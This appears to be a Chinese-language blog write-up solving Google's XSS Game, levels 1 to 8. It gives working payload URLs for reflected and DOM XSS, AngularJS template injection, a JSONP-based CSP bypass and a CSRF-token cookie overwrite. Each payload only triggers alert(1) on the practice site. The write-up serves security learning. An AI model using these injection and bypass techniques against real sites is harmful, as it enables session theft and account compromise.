Google最新的xssgame

http://www.xssgame.com/(需要翻墙,似乎还需要一个google账号)

level 1

第一关没啥难度,没有任何过滤。

payload:

1
http://www.xssgame.com/f/m4KKGHi2rVUN/?query=<img src=1 onerror=alert(1)>

level 2

mark

输出点有多处,一处在js函数中,DOM XSS。需要保证js的语法正确,否则无法执行。这里依然没有过滤。

payload:

1
http://www.xssgame.com/f/WrfpuKFX8GNr/?timer=');alert('1

输出点变为onload="startTimer('1');alert('1');"

level 3

mark

输出点在html属性中,但是这里不要被chrome骗了,使用双引号并不能截断。。。具体原因看一下js就知道了

mark

payload:

1
http://www.xssgame.com/f/u0hrDTsXmyVJ/#aaa' onerror=alert(1)>

level 4

这个输出点比较难找,在跳转的地方抓包拦截,得到源码

http://www.xssgame.com/f/__58a1wgqGgI/confirm?next=welcome

mark

这里有个问题就是如果我们闭合window.location这一行程序,然后alert的话(像这样window.location = 'aaa'; alert('1');),页面还没有执行alert的时候就已经跳转了。所以这里使用JavaScript伪协议。

payload:

1
http://www.xssgame.com/f/__58a1wgqGgI/confirm?next=javascript:alert(1)

level 5

这道题将<>转为html实体了,一般的payload就不好用了。查看源码后发现使用了angularjs,这里有一个近几年比较流行的新前端问题,模板注入。对于angularjs了解的不深,之后还要涨一波姿势。

AngularJS-沙箱逃逸和XSS

基于DOM的AngularJS沙箱逃逸技术

这里的ng-non-bindable属性就相当于html标签中的pre标签,在这里面的所有属性都不会解析。

mark

这里使用angularJs的模板语法来执行js代码

payload:

1
http://www.xssgame.com/f/JFTG_t7t3N-P/?utm_campaign={{$eval('alert(1)')}}

level 6

模板注入和别的不同,需要通过angularjs的渲染,所以html实体编码仍然可以。

payload:

1
http://www.xssgame.com/f/rWKWwJGnAeyi/?query=%26lcub;%26lcub;$eval('alert(1)')}}

注意&要编码,否则服务端会将&后的当做一个get参数

level 7

到了这简单的找输出点然后构造的套路已经力度不够了,需要分析一下代码。

http://www.xssgame.com/static/js/level7.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* Ask server side what to display.
*/
function main() {
var m = location.search.match('menu=(.*)'); //获取url中menu参数的值
var menu = m ? atob(m[1]) : 'about'; //atob是base64解码函数
document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>');
}

/**
* Display stuff returned from server side.
* @param {string} data - JSON data from server side
*/
function callback(data) {
if (data.title) document.write('<h1>' + data.title + '</h1>'); //未经处理直接输出
if (data.pictures) data.pictures.forEach(function(url) {
document.write('<img src="/static/img/' + url + '"><br><br>');
});
}

main();

这两个函数大致的功能为main函数向服务端请求数据,得到数据后交给callback函数处理。可以注意到callback函数中直接将data.title输出了,这就有了可乘之机。

mark

但是如果想直接在页面上输出<script>alert(1)</script>太天真了,毕竟这是level 7,人家部署了csp。

1
2
Content-Security-Policy	
default-src http://www.xssgame.com/f/wmOM2q5NJnZS/ http://www.xssgame.com/static/

这里可能会有个疑问,主页不就是http://www.xssgame.com/f/wmOM2q5NJnZS/域下吗,为什么不能执行js代码?原因是在没有设置script-src的情况下,即使在http://www.xssgame.com/f/wmOM2q5NJnZS/域下也无法执行js代码,会报错。

这里做一个简单的测试:

1
2
3
4
<?php 
header("Content-Security-Policy: default-src 'http://127.0.0.1/test/csp/';");
?>
<script type="text/javascript" src="1.js"></script>

mark

1
2
3
4
<?php 
header("Content-Security-Policy: default-src 'http://127.0.0.1/test/csp/'; script-src 'self';");
?>
<script type="text/javascript" src="1.js"></script>

mark

到这似乎有点卡住了,但是不要忘了jsonp,我们在使用jsonp获取数据后可以设置一个回调函数,处理获取到数据。那我们在页面上输出一个<script src="jsonp?callback=alert(1)//"></script>不就行了。

这里alert(1)//是一个函数名,由于js是弱类型语言,可以动态调用函数,所以在拿到数据会做类似于这样的处理alert(1)//(the data),而//把后面的内容都注释了,就能成功弹窗了。

mark

payload:

1
http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=PHNjcmlwdCBzcmM9Impzb25wP2NhbGxiYWNrPWFsZXJ0KDEpLy8iPjwvc2NyaXB0Pg==

level 8

依然是有csp

1
2
Content-Security-Policy:	
default-src http://www.xssgame.com/f/d9u16LTxchEi/ http://www.xssgame.com/static/

看看现有的条件:

  1. 可以设置一个name,设置的值是存在cookie里的,而且接受redirect参数,确定跳转的位置。

    mark

  2. 第二个功能是设置参数(干啥的?),但是amount这个参数只接受整数,如果传入不是整数,那么就会报错,并返回输入的内容,这个部分存在xss。

    mark

    但是如果直接构造,会出现

    mark

    中心思想就是这么干不行。。。。这就引出了第三个条件。

  3. 存在一个csrf_token,需要绕过,这个csrf_token是存在cookie中的。

首先访问http://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=1,这样就会把原先的csrf_token覆盖,这个token就是我们可控的了。

mark

设置完name之后可以设置跳转的位置,我们跳转到有xss的地方,构造payload弹窗即可。

payload:

1
http://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=1&redirect=transfer%3Fname%3D123%26amount%3D%3cimg%20src=1%20onerror=alert%281%29%3e%26csrf_token%3D1

跳转的部分记得编码,说过很多次了。。。